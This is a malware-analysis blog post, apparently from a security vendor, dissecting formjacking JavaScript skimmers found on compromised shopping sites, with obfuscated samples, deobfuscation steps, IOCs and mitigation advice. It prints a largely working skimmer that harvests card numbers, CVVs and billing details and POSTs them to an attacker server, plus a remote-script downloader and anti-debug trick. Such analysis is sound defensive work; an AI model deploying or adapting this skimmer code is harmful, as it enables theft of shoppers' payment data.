This post is also available in: 日本語 (Japanese)
Executive Summary
The rise of the Internet has contributed positively in many ways to people's lives and you can find almost any service on the internet now. However, the convenience of the internet also opens a gate to use malware to steal people's confidential information, and unfortunately, more and more malware authors are taking advantage of this.
Formjacking, where cybercriminals inject malicious JavaScript code to hack a website and take over the functionality of the site's form page to collect sensitive user information, is one of the fastest growing forms of cyber attack. It is designed to steal credit card details and other personal information from payment forms that are captured on the “checkout” pages of e-commerce websites.
When a user unknowingly visits a compromised shopping website which has been hacked, they put items in their cart and go to checkout, inputting their credit card information (e.g. Name, address, email, credit card number, CVV, expiration date, etc.) on the checkout page. When they click the "checkout" or "submit" button, a malicious code collects the users' input information and sends it to an attacker’s Command & Control (C2) server. The original purchase request is unaffected by this and the user receives their products as expected. Many large websites have been compromised using this technique, such as British Airways, Ticketmaster, Delta, Newegg and Topps.com Sports Collectibles.
The process flow is in Figure 1, below:
Writing formjacking code and deploying it to a compromised site is not very difficult for an attacker to do and allows them to steal credit card information quickly and easily without needing to deploy malware or compromise a system.
This makes it very attractive for attackers, especially considering e-commerce service is very popular today.
This blog provides a deep-dive into how formjacking code works. Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.
Typical Formjacking Attack
Below is a typical formjacking sample, which as of April 8, 2020 was only detected as malicious by three entities in VirusTotal. (SHA256:a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14)
The code is very long and highly obfuscated; we had to deobfuscate it before we were able to read it. Below is part of the original code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
window["payment_checkout1"] = ["W*!`[EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK`'!]" [(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 + 36.0))](/[\!8ET\/W`Nl5vRDpgUqKx37]/g, ""), "+Ki<(n1JpUuLtq[@i;dg*GZ=l%'+ckc0_5nfIu!Bm#bTexr-2'H]" [(8.0 + "Q#C|UZ$?hm)*s" ["charCodeAt"](11) * 477238723)["toString"]((3 * "4%|6W5laMO" ["length"] + 0.0))](/[qLGUZ\- \@k\#\+2TfKJ0I\(\!H\<\;\%xlg15B]/g, ""), "0)*N[/nsaOmve@*h=4'Nc0c6d_G5nKukm3'3]" [(387097319 * "~s\x84\x60u\x89t1\x80VC?L\x85ZWmw" ["charCodeAt"](11) + 36.0)["toString"](("Vu.\x8a^'\x81E\x806" ["length"] * 3 + 1.0))](/[0\/N3d6sh\)4kv5\@KOG]/g, "")]; |
At first, we can see the basic construct is:
1 |
window["payment_checkout1"] = [var1, var2, ...] |
Taking var1 as an example, we break it down into three parts:
- ["W*!
[EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK
'!]" is the first part and is an encrypted string. - [(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0))] is the second part.
- We can calculate (785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0) to get 59662633118.
- We can also calculate ("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0)) to get 36.
- So the second part is the same as (59662633118).toString(36), which means the result is "replace" string, refer to toString function documentation.
- (/[\!8ET\/W
Nl5vRDpgUqKx37]/g, ""
) is the third part, which is a regex pattern.
Since var1 is the same as "xxxxx".replace(/[\!8ET\/WNl5vRDpgUqKx37]/g, ""), that means it uses the regex to decrypt the string. After decryption, var1 is "*[name*='numero_cartao']".
Finally we can deobfuscate the above code to below:
1 2 |
window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"] |
Below is another part of the original code.
1 2 3 4 5 6 7 8 |
document["addEv" + String.fromCharCode(101) + "ntListen" + String.fromCharCode(101) + "r"]("lDKOQM9C4 /oSn&tNesQnStjXL7Ao6aTdVse`d" [(48.0 + "7$bz?m|9\x80c\x88OpJI.{RdH" ["charCodeAt"](7) * 427844405)["toString"] (("NC}1r\x81W" ["length"] * 4 + 3.0))](/[4TlN9s6Sj`\&VKQA7X\/]/g, ""), function(event) { sHv(); }); |
We can deobfuscate the above to get the below code:
1 2 |
document.addEventListener("DOMContentLoaded", function() { sHv();}, false); |
Now, let’s deobfuscate the original core code, shown below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"] window["payment_checkout2"] = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"] window["payment_checkout3"] = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"] window["payment_checkout4"] = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']"] function hZy(keys, values) { var r = []; for (var i = 0; i < keys.length; i++) { r.push(encodeURIComponent(keys[i]) +"="+ encodeURIComponent(values[i])) } return r.join("&"); } function UWo(str, index, replacement) { return str.substr(0, index) + replacement + str.substr(index + replacement.length); } function F8S(str) { var hex = ""; for (var i = 0; i < str.length; i++) { hex += str.charCodeAt(i).toString(16); } //switch 2 bytes for (var i = 0; i < hex["length"]; i += 2) { var c1 = hex.substr(i, 1); var c2 = hex.substr(i+1, 1); hex = UWo(hex, i, c2); hex = UWo(hex, i+1, c1); } return hex; } function wIW(post_data, success) { var xhr = window["XMLHttpRequest"] ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); xhr.open("POST", "https://magentoengine.su/stat.js"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onload = function() {}; xhr.send(encodeURI(post_data)); return xhr; } function pa4(selectors) { for (var i =0; i < selectors["length"]; i++) { var selector = selectors[I]; var elem = document["querySelector"](selector); if (elem) return elem; } return false; } function LBM(sel) { var el = document["querySelector"](sel); if (!el) return "" return el["value"]; } function fdT(selectors) { var el = pa4(selectors); if (!el) return "" return el["value"]; } function zTI() { ... var val_1 = fdT(window["payment_checkout1"]); var val_2 = fdT(window["payment_checkout2"]); var val_3 = fdT(window["payment_checkout3"]); var val_4 = fdT(window["payment_checkout4"]); if ((!val_1) || (!val_4) || (!val_2) || (!val_3)) { return; } var val_5 = LBM("*[name='billing[firstname]']"); var val_6 = LBM(*[name='billing[lastname]']"); var val_7 = LBM("*[name='billing[street][]']"); var val_8 = LBM("*[name='billing[city]']"); var val_9 = LBM("*[name='billing[region_id]']"); var val_10 = LBM("*[name='billing[postcode]']"); var val_11 = LBM("*[name='billing[country_id]']"); var val_12 = LBM("*[name='billing[telephone]']"); var val_13 = LBM("*[name='billing[email]']"); var keys = []; var values = []; keys.push("host"); values.push(ant_host); keys.push("number); values.push(val_1); keys.push("exp1"); values.push(val_2); keys.push("exp2"); values.push(val_3); keys.push("cvv"); values.push(val_4); keys.push("firstname"); values.push(val_5); keys.push("lastname"); values.push(val_6); keys.push("address"); values.push(val_7); keys.push("city"); values.push(val_8); keys.push("state"); values.push(val_9); keys.push("zip"); values.push(val_10); keys.push("country"); values.push(val_11); keys.push("phone"); values.push(val_12); keys.push("email"); values.push(val_13); keys.push("uagent"); values.push(navigator.userAgent); var en = F8S(hZy(keys, values)); if (en == window["ant_last_data"]) return; window["ant_last_data"] = en; values = "touch="+ en; wIW(values, false); } function yfJ() { if (!(pa4(window["payment_checkout1"]))) return; var elems_all = []; var selectors = ["button[onclick*='.save']", "button[class*='checkout']"]; for (var i = 0; i < selectors.length; i++) { var selector = selectors[I]; var elems = document.querySelectorAll(selector); for (var j =0; j < elems.length; j++) { var elem = elems[j]; if (!(elems_all.includes(elem))) { elems_all.push(elem); } } } for (var i = 0; i < elems_all.length; i++) { var elem = elems_all[I]; var dk = elem["getAttribute"]("ant_check"); if (dk == "1") { continue; } elem.addEventListent("click", function() { try { zTI(); } catch (err) {} }); elem.addEventListent("mousedown", function() { try { zTI(); } catch (err) {} }); elem["setAttribute"]("ant_check", "1"); } } function sHv() { if (window["ant_loaded"]) return; window["ant_loaded"] = true; yfJ(); window["ant_interval"] = setInterval(function() { <strong> yfJ()</strong>; }, 7000); } <strong>document.addEventListener("DOMContentLoaded", function() { sHv();}, false);</strong> window.addEventListener("load", function() { sHv();}, false); |
Now we can figure out the main flow of events:
- It creates a listener on the "DOMContentLoaded" and "load" events, so once a page finishes loading, it will execute the sHv function, which creates a timer to execute the yFj function every 7 seconds.
- The yFj function will scan all payment-related buttons in the page using ("button[onclick*='.save']" and "button[class*='checkout']"). If one exists, it will create "click" and "mousedown" listeners with the event function zTI.
- When a user clicks a related button, the zTI function is triggered and it will collect any values from below the html element by document.querySelector (see the pa4 function), and these values include credit card information:
- window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"]
- window["payment_checkout2"] = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"]
- window["payment_checkout3"] = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"]
- window["payment_checkout4"] = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']"]
- Then it will call the hZy and F8S functions to encrypt the collected data.
- At last, it will call the wIW function to send the data to the remote server.
The main process flow is shown below in Figure 2.
Simply to say, it will listen to the “click” event, once you click, it will collect all payment information which you fill in form, and send it to the C2 server.
An Advanced Example
An advanced Formjacking sample can hide itself more craftily, which makes it very hard to be tracked. We use the below SHA256 for this analysis.
(SHA256: 5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119)
At a glance, it is not hard to read, the code is only a few lines.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
1. var PFG="80y0y151n3a2p360w2r2s320w1p0w2s".constructor; … 2. for(...) { qKn+=... } 3. var hAn={}; hAn["t"+"oStri"+(70>17?"\x6e":"\x68")+"g"]=PFG["con"+(86>33?"\x73":"\ x6b")+"t"+"ru"+String.fromCharCode(99)+" tor"](qKn); 4. qKn=hAn+"e1l151n2s332r39312t32382j0y0y170y0y17141j1h1q |
The above 4 steps:
- Create a PFG variable, which is a string constructor function.
- Use a loop to decrypt the stage 2 code and assign it to the qKn variable.
- Overwrite the hAn.toString function with the PFG.constructor(qKn).constructor.
- Execute the hAn.toString() function so it will execute "xxx".constructor(qKn).constructor(), which will execute qKn as code. In step 2, qKn was assigned as the stage 2 code.
Next we analyzed the stage two code, hash shown below.
(SHA256:1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
1. var cdn = document["createElement"]("_s!cCr_i0p~=t" ["replace"](/[0C\!\_\=\~]/g, "")); ... 2. cdn["src"] = "]qhft+tw8pvsB:Q/w/KmlkybxFi;nPtYBa9d8.zcu9oA[ml/VjFNs@/3Zc@oX(n85tge GnQtA.Lj[s" [(2709681237 * "\x89se-}]ucS" ["length"] + 0.0)["toString"](("\x81f8OSZ^*.5#\x60x\x7f|Pn$]~" ["charCodeAt"](7) * 0 + 31.0))](/ [bP\+\]9fk8GFYglv\[\@K\(VXLqBwZ5uzQ\;AN3]/g, ""); ... 3. document["body"]["appendChild"](cdn); |
It uses a "regex" to obfuscate the code, which we mentioned before. After deobfuscation, we can figure out it is only a downloader as it only:
- Creates a DOM element: cdn=document.createElement("script")
- Sets the element source url to: cdn.src="hxxps://xxxxxx[.]com/js/content.js";
- Appends this element to the DOM tree.
So it would download stage 3 code from hxxps://myxintad[.]com/js/content.js, but the URL is no longer accessible. While we can not get its content, our previous analysis shows attackers can use powerful JavaScript to do lots of things:
-
- Obfuscate and encrypt code.
- Only put a downloader in a target website, and put the real malicious code in their own remote server. This allows attackers to change its content easily and decide when it is accessible.
- Create multi-stage malware to make it more difficult to track, as in this case with stages 1 through 3…it can greatly frustrate researchers.
More Advanced Skills
Sometimes, malware authors will use some advanced skills to make code difficult to debug. We use the below hash for this example. It is similar to the one analyzed above, but it has extra anti-debug code, shown obfuscated below.
(SHA256:981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec)
1 2 3 4 5 6 7 8 |
i&&t||!(window[""+(69>36?"\x46":"\x3f")+"ir"+"ebu"+(69>16?"\x67":"\x5 f")+""]&&window[""+(64>43?"\x46":"\x3d")+" ir"+"ebu"+(61>21?"\x67":"\x5d")+""]["c"+"hr"+(85>21?"\x6f":"\x69")+"m e"]&&window["Fi"+(54>43?"\x72":"\x68")+"e" +""+(70>31?"\x62":"\x59")+"ug"]["chr"+(76>48?"\x6f":"\x66")+""+"m"+(9 9>29?"\x65":"\x60")+""]["isIni"+(76>22?" \x74":"\x6d")+""+""+(63>30?"\x69":"\x61")+"alized"]||t||i)? .................... |
The deobfuscated code is:
1 2 |
i && t || !(window["Firebug"] && window["Firebug"]["chrome"] && window["Firebug"]["chrome"]["isInitialized"] || t || i) ? |
The code uses two skills to make it hard to be analyzed:
- It checks if you are using Firebug debugger to debug code.
- It uses a JavaScript conditional operator to execute different branch code for different detection results. Sometimes malware even uses cascading javascript conditional operators, like "condition1 ? aaa: (condition2? bbb: (condition3? ccc: ddd)))", that is very very hard to set a debug breakpoint.
Conclusion
JavaScript is not a new technology, it has been in use for more than 20 years, and is continuously updated. Today, most websites use Javascript, and we believe JavaScript attacks like formjacking are becoming a trend.
To mitigate risks, online retailers and e-commerce sites are advised to patch all of their systems, components, and web plugins to avoid being compromised. Additionally, it’s best practice to regularly conduct web content integrity checks offline to see if your pages were edited and had malicious JS code inserted by attackers. Lastly, make sure you’re using strong passwords on your content management system (CMS) administrators to make it less susceptible for brute force attacks.
For consumers shopping on these sites, we recommend paying via the one-time payment option that’s frequently offered (e.g. PayPal. Visa Secured, etc.) instead of your credit card whenever possible. If you believe your credit card information was stolen as a result of a recent online purchase, you should contact your bank to freeze or change your card immediately. Additionally, consider putting a freeze on your credit so that new accounts can’t be opened up using your personal information.
Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.
Acknowledgements
We would like to thank Kyle Wilhoit, Jen Miller Osborn and Mark Karayan for their advice and help with improving the blog.
IOCs
hxxps://www.cheshirehorse[.]com/
a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14
hxxp://92wear[.]vn/
5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119
1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4
hxxps://www.posterburner[.]com/SavedSession.aspx?SID=3Daba5c976c3f441ecbf449=
981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec